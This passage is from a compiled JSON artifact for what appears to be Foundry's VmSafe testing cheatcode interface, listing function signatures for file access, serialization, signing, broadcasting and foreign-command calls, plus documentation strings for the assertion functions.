tring"},{"internalType":"string","name":"key","type":"string"}],"stateMutability":"pure","type":"function","name":"parseTomlUintArray","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}]},{"inputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}],"stateMutability":"pure","type":"function","name":"parseUint","outputs":[{"internalType":"uint256","name":"parsedValue","type":"uint256"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"pauseGasMetering"},{"inputs":[],"stateMutability":"view","type":"function","name":"projectRoot","outputs":[{"internalType":"string","name":"path","type":"string"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"maxDepth","type":"uint64"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"maxDepth","type":"uint64"},{"internalType":"bool","name":"followLinks","type":"bool"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readDir","outputs":[{"internalType":"struct VmSafe.DirEntry[]","name":"entries","type":"tuple[]","components":[{"internalType":"string","name":"errorMessage","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"uint64","name":"depth","type":"uint64"},{"internalType":"bool","name":"isDir","type":"bool"},{"internalType":"bool","name":"isSymlink","type":"bool"}]}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readFile","outputs":[{"internalType":"string","name":"data","type":"string"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readFileBinary","outputs":[{"internalType":"bytes","name":"data","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"view","type":"function","name":"readLine","outputs":[{"internalType":"string","name":"line","type":"string"}]},{"inputs":[{"internalType":"string","name":"linkPath","type":"string"}],"stateMutability":"view","type":"function","name":"readLink","outputs":[{"internalType":"string","name":"targetPath","type":"string"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"record"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"recordLogs"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"rememberKey","outputs":[{"internalType":"address","name":"keyAddr","type":"address"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bool","name":"recursive","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"removeDir"},{"inputs":[{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"removeFile"},{"inputs":[{"internalType":"string","name":"input","type":"string"},{"internalType":"string","name":"from","type":"string"},{"internalType":"string","name":"to","type":"string"}],"stateMutability":"pure","type":"function","name":"replace","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"resumeGasMetering"},{"inputs":[{"internalType":"string","name":"method","type":"string"},{"internalType":"string","name":"params","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"rpc","outputs":[{"internalType":"bytes","name":"data","type":"bytes"}]},{"inputs":[{"internalType":"string","name":"rpcAlias","type":"string"}],"stateMutability":"view","type":"function","name":"rpcUrl","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"rpcUrlStructs","outputs":[{"internalType":"struct VmSafe.Rpc[]","name":"urls","type":"tuple[]","components":[{"internalType":"string","name":"key","type":"string"},{"internalType":"string","name":"url","type":"string"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"rpcUrls","outputs":[{"internalType":"string[2][]","name":"urls","type":"string[2][]"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"address[]","name":"values","type":"address[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeAddress","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"address","name":"value","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"serializeAddress","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bool[]","name":"values","type":"bool[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBool","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"nonpayable","type":"function","name":"serializeBool","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes[]","name":"values","type":"bytes[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes","name":"value","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes32[]","name":"values","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes32","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"bytes32","name":"value","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"serializeBytes32","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"int256","name":"value","type":"int256"}],"stateMutability":"nonpayable","type":"function","name":"serializeInt","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"int256[]","name":"values","type":"int256[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeInt","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"serializeJson","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"string[]","name":"values","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeString","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"serializeString","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"serializeUint","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"objectKey","type":"string"},{"internalType":"string","name":"valueKey","type":"string"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function","name":"serializeUint","outputs":[{"internalType":"string","name":"json","type":"string"}]},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"value","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"setEnv"},{"inputs":[{"internalType":"struct VmSafe.Wallet","name":"wallet","type":"tuple","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"publicKeyX","type":"uint256"},{"internalType":"uint256","name":"publicKeyY","type":"uint256"},{"internalType":"uint256","name":"privateKey","type":"uint256"}]},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"sign","outputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"sign","outputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"},{"internalType":"bytes32","name":"digest","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"signP256","outputs":[{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}]},{"inputs":[{"internalType":"uint256","name":"duration","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"sleep"},{"inputs":[{"internalType":"string","name":"input","type":"string"},{"internalType":"string","name":"delimiter","type":"string"}],"stateMutability":"pure","type":"function","name":"split","outputs":[{"internalType":"string[]","name":"outputs","type":"string[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[{"internalType":"address","name":"signer","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[{"internalType":"uint256","name":"privateKey","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"startBroadcast"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startMappingRecording"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"startStateDiffRecording"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopAndReturnStateDiff","outputs":[{"internalType":"struct VmSafe.AccountAccess[]","name":"accountAccesses","type":"tuple[]","components":[{"internalType":"struct VmSafe.ChainInfo","name":"chainInfo","type":"tuple","components":[{"internalType":"uint256","name":"forkId","type":"uint256"},{"internalType":"uint256","name":"chainId","type":"uint256"}]},{"internalType":"enum VmSafe.AccountAccessKind","name":"kind","type":"uint8"},{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"accessor","type":"address"},{"internalType":"bool","name":"initialized","type":"bool"},{"internalType":"uint256","name":"oldBalance","type":"uint256"},{"internalType":"uint256","name":"newBalance","type":"uint256"},{"internalType":"bytes","name":"deployedCode","type":"bytes"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"},{"internalType":"bool","name":"reverted","type":"bool"},{"internalType":"struct VmSafe.StorageAccess[]","name":"storageAccesses","type":"tuple[]","components":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"slot","type":"bytes32"},{"internalType":"bool","name":"isWrite","type":"bool"},{"internalType":"bytes32","name":"previousValue","type":"bytes32"},{"internalType":"bytes32","name":"newValue","type":"bytes32"},{"internalType":"bool","name":"reverted","type":"bool"}]},{"internalType":"uint64","name":"depth","type":"uint64"}]}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopBroadcast"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"stopMappingRecording"},{"inputs":[{"internalType":"string","name":"data","type":"string"}],"stateMutability":"pure","type":"function","name":"toBase64","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toBase64","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"data","type":"string"}],"stateMutability":"pure","type":"function","name":"toBase64URL","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toBase64URL","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"toLowercase","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"address","name":"value","type":"address"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bytes","name":"value","type":"bytes"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"int256","name":"value","type":"int256"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"bytes32","name":"value","type":"bytes32"}],"stateMutability":"pure","type":"function","name":"toString","outputs":[{"internalType":"string","name":"stringifiedValue","type":"string"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"toUppercase","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"trim","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"string[]","name":"commandInput","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"tryFfi","outputs":[{"internalType":"struct VmSafe.FfiResult","name":"result","type":"tuple","components":[{"internalType":"int32","name":"exitCode","type":"int32"},{"internalType":"bytes","name":"stdout","type":"bytes"},{"internalType":"bytes","name":"stderr","type":"bytes"}]}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"unixTime","outputs":[{"internalType":"uint256","name":"milliseconds","type":"uint256"}]},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"data","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeFile"},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"writeFileBinary"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"valueKey","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeJson"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeJson"},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"data","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeLine"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"valueKey","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeToml"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeToml"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"accesses(address)":{"notice":"Gets all accessed reads and write slot from a `vm.record` session, for a given address."},"addr(uint256)":{"notice":"Gets the address for a given private key."},"assertApproxEqAbs(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`."},"assertApproxEqAbs(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure."},"assertApproxEqAbs(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`."},"assertApproxEqAbs(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure."},"assertApproxEqAbsDecimal(int256,int256,uint256,uint256)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message."},"assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message."},"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqRel(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"assertApproxEqRel(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure."},"assertApproxEqRel(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"assertApproxEqRel(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure."},"assertApproxEqRelDecimal(int256,int256,uint256,uint256)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message."},"assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message."},"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertEq(address,address)":{"notice":"Asserts that two `address` values are equal."},"assertEq(address,address,string)":{"notice":"Asserts that two `address` values are equal and includes error message into revert string on failure."},"assertEq(address[],address[])":{"notice":"Asserts that two arrays of `address` values are equal."},"assertEq(address[],address[],string)":{"notice":"Asserts that two arrays of `address` values are equal and includes error message into revert string on failure."},"assertEq(bool,bool)":{"notice":"Asserts that two `bool` values are equal."},"assertEq(bool,bool,string)":{"notice":"Asserts that two `bool` values are equal and includes error message into revert string on failure."},"assertEq(bool[],bool[])":{"notice":"Asserts that two arrays of `bool` values are equal."},"assertEq(bool[],bool[],string)":{"notice":"Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure."},"assertEq(bytes,bytes)":{"notice":"Asserts that two `bytes` values are equal."},"assertEq(bytes,bytes,string)":{"notice":"Asserts that two `bytes` values are equal and includes error message into revert string on failure."},"assertEq(bytes32,bytes32)":{"notice":"Asserts that two `bytes32` values are equal."},"assertEq(bytes32,bytes32,string)":{"notice":"Asserts that two `bytes32` values are equal and includes error message into revert string on failure."},"assertEq(bytes32[],bytes32[])":{"notice":"Asserts that two arrays of `bytes32` values are equal."},"assertEq(bytes32[],bytes32[],string)":{"notice":"Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure."},"assertEq(bytes[],bytes[])":{"notice":"Asserts that two arrays of `bytes` values are equal."},"assertEq(bytes[],bytes[],string)":{"notice":"Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure."},"assertEq(int256,int256)":{"notice":"Asserts that two `int256` values are equal."},"assertEq(int256,int256,string)":{"notice":"Asserts that two `int256` values are equal and includes error message into revert string on failure."},"assertEq(int256[],int256[])":{"notice":"Asserts that two arrays of `int256` values are equal."},"assertEq(int256[],int256[],string)":{"notice":"Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure."},"assertEq(string,string)":{"notice":"Asserts that two `string` values are equal."},"assertEq(string,string,string)":{"notice":"Asserts that two `string` values are equal and includes error message into revert string on failure."},"assertEq(string[],string[])":{"notice":"Asserts that two arrays of `string` values are equal."},"assertEq(string[],string[],string)":{"notice":"Asserts that two arrays of `string` values are equal and includes error message into revert string on failure."},"assertEq(uint256,uint256)":{"notice":"Asserts that two `uint256` values are equal."},"assertEq(uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are equal and includes error message into revert string on failure."},"assertEq(uint256[],uint256[])":{"notice":"Asserts that two arrays of `uint256 values are equal."},"assertEq(uint256[],uint256[],string)":{"notice":"Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure."},"assertEqDecimal(int256,int256,uint256)":{"notice":"Asserts that two `int256` values are equal, formatting them with decimals in failure message."},"assertEqDecimal(int256,int256,uint256,string)":{"notice":"Asserts that two `int256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertEqDecimal(uint256,uint256,uint256)":{"notice":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message."},"assertEqDecimal(uint256,uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertFalse(bool)":{"notice":"Asserts that the given condition is false."},"assertFalse(bool,string)":{"notice":"Asserts that the given condition is false and includes error message into revert string on failure."},"assertGe(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second."},"assertGe(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure."},"assertGe(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second."},"assertGe(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure."},"assertGeDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message."},"assertGeDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGeDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message."},"assertGeDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGt(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be greater than second."},"assertGt(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Includes error message into revert string on failure."},"assertGt(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second."},"assertGt(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Includes error message into revert string on failure."},"assertGtDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message."},"assertGtDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGtDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message."},"assertGtDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLe(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second."},"assertLe(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure."},"assertLe(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second."},"assertLe(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure."},"assertLeDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message."},"assertLeDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLeDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message."},"assertLeDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLt(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be less than second."},"assertLt(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Includes error message into revert string on failure."},"assertLt(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than second."},"assertLt(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Includes error message into revert string on failure."},"assertLtDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message."},"assertLtDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLtDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message."},"assertLtDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertNotEq(address,address)":{"notice":"Asserts that two `address` values are not equal."},"assertNotEq(address,address,string)":{"notice":"Asserts that two `address` values are not equal and includes error message into revert string on failure."},"assertNotEq(address[],address[])":{"notice":"Asserts that two arrays of `address` values are not equal."},"assertNotEq(address[],address[],string)":{"notice":"Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure."},"assertNotEq(bool,bool)":{"notice":"Asserts that two `bool` values are not equal."},"assertNotEq(bool,bool,string)":{"notice":"Asserts that two `bool` values are not equal and includes error message into revert string on failure."},"assertNotEq(bool[],bool[])":{"notice":"Asserts that two arrays of `bool` values are not equal."},"assertNotEq(bool[],bool[],string)":{"notice":"Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes,bytes)":{"notice":"Asserts that two `bytes` values are not equal."},"assertNotEq(bytes,bytes,string)":{"notice":"Asserts that two `bytes` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes32,bytes32)":{"notice":"Asserts that two `bytes32` values are not equal."},"assertNotEq(bytes32,bytes32,string)":{"notice":"Asserts that two `bytes32` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes32[],bytes32[])":{"notice":"Asserts that two arrays of `bytes32` values are not equal."},"assertNotEq(bytes32[],bytes32[],string)":{"notice":"Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes[],bytes[])":{"notice":"Asserts that two arrays of `bytes` values are not equal."},"assertNotEq(bytes[],bytes[],string)":{"notice":"Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure."},"assertNotEq(int256,int256)":{"notice":"Asserts that two `int256` values are not equal."},"assertNotEq(int256,int256,string)":{"notice":"Asserts that two `int256` values are not equal and includes error message into revert string on failure."},"assertNotEq(int256[],int256[])":{"notice":"Asserts that two arrays of `int256` values are not equal."},"assertNotEq(int256[],int256[],string)":{"notice":"Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure."},"assertNotEq(string,string)":{"notice":"Asserts that two `string` values are not equal."},"assertNotEq(string,string,string)":{"notice":"Asserts that two `string` values are not equal and includes error message into revert string on failure."},"assertNotEq(string[],string[])":{"notice":"Asserts that two arrays of `string` values are not equal."},"assertNotEq(string[],string[],string)":{"notice":"Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure."},"assertNotEq(uint256,uint256)":{"notice":"Asserts that two `uint256` values are not equal."},"assertNotEq(uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are not equal and includes error message into revert string on failure."},"assertNotEq(uint256[],uint256[])":{"notice":"Asserts that two arrays of `uint256` values are not equal."},"assertNotEq(uint256[],uint256[],string)":{"notice":"Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure."},"assertNotEqDecimal(int256,int256,uint256)":{"notice":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message."},"assertNotEqDecimal(int256,int256,uint256,string)":{"notice":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertNotEqDecimal(uint256,uint256,uint256)":{"notice":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message."},"assertNotEqDecimal(uint256,uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertTrue(bool)":{"notice":"Asserts that the given condition is true."},"assertTrue(bool,string)":{"notice":"Asserts that the given condition is true and includes error message into revert string on 